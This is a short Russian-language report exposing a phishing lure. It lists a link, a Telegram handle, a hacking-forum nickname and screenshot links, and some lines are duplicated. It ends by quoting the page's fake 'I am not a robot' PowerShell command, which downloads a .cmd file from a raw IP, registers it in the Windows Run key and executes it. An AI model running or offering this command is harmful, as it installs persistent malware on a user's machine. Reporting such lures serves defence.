фишинг ссылка который отправили - https://featuredcontent.tumblr.com/?Add3roll
Текст прислал телеграм @jahalexy
На форуме xss ник SoloSoLow
ссылка на мембера https://xss.pro/members/328947/
Пост где просил перейти в телеграмм https://xss.pro/threads/111288/post-891377
Ссылка скрин на стараницу фишинг взлома https://i.postimg.cc/QxgYXS9Z/image.png
Скрин переписки - https://i.postimg.cc/VLrSPHdD/aa.png
код который содержался на странице https://i.postimg.cc/QxgYXS9Z/image.png
Текст прислал телеграм @jahalexy
На форуме xss ник SoloSoLow
ссылка на мембера https://xss.pro/members/328947/
Пост где просил перейти в телеграмм https://xss.pro/threads/111288/post-891377
Ссылка скрин на стараницу фишинг взлома https://i.postimg.cc/QxgYXS9Z/image.png
Скрин переписки - https://i.postimg.cc/VLrSPHdD/aa.png
код который содержался на странице https://i.postimg.cc/QxgYXS9Z/image.png
Код:
powershell -c "iwr http://159.223.8.77/request/captcha.cmd -o $env:tEMP\reg.cmd; reg add 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /v S /t REG_SZ /d $env:tEMP\reg.cmd /f; Start $env:tEMP\reg.cmd" #I am not a robot - reCAPTCHA Verification ID: fdamc